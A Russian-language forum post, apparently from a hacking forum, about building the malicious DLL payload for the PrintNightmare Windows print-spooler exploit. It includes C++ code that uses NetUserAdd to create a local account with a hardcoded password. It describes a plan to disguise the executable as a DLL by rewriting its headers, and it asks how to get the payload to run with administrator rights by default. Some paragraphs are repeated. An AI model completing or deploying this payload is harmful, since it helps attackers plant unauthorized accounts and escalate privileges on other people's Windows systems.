На досуге перечитывал паблик CVE-2021-1675,а именно PrintNightmare: https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527, и стало интересно в рамках обучения winAPI и плюсов под винду, что же там за .dll на добавления юзера (кто не в курсе, подсовывается вредоносной DLL для того чтобы добавить юзера), причем сурсов на эту .dll ни где нету, по итогу решил попробовать разобраться сам.
Идея была такая:
1)на плюсах написать PE для добавления юзера
2)далее с помощью скрипта питона поменять хедеры, чтобы PE замаскировался под .dll
Код такой:
Вообщем-то PE работает, от админа добавляет юзера, но .dll не реагирует,
Поэтому интересно, есть ли сурцы дефолтной .dll которую юзают все с PrintNightmare?
Если нет, то как сделать так так чтобы .dll или PE запускались по дефолту от админа?
Идея была такая:
1)на плюсах написать PE для добавления юзера
2)далее с помощью скрипта питона поменять хедеры, чтобы PE замаскировался под .dll
Код такой:
C++:
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#include <iostream>
LPWSTR ConvertToLPWSTR(const std::string& s)
{
LPWSTR ws = new wchar_t[s.size() + 1];
copy(s.begin(), s.end(), ws);
ws[s.size()] = 0;
return ws;
}
void AddRDPUser()
{
std::string s = "testUSER";
LPWSTR nameLP = ConvertToLPWSTR(s);
std::string a = "testUser123";
LPWSTR passLP = ConvertToLPWSTR(a);
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
ui.usri1_name = nameLP;
ui.usri1_password = passLP;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
}
int main()
{
AddRDPUser();
}
Поэтому интересно, есть ли сурцы дефолтной .dll которую юзают все с PrintNightmare?
Если нет, то как сделать так так чтобы .dll или PE запускались по дефолту от админа?
Последнее редактирование: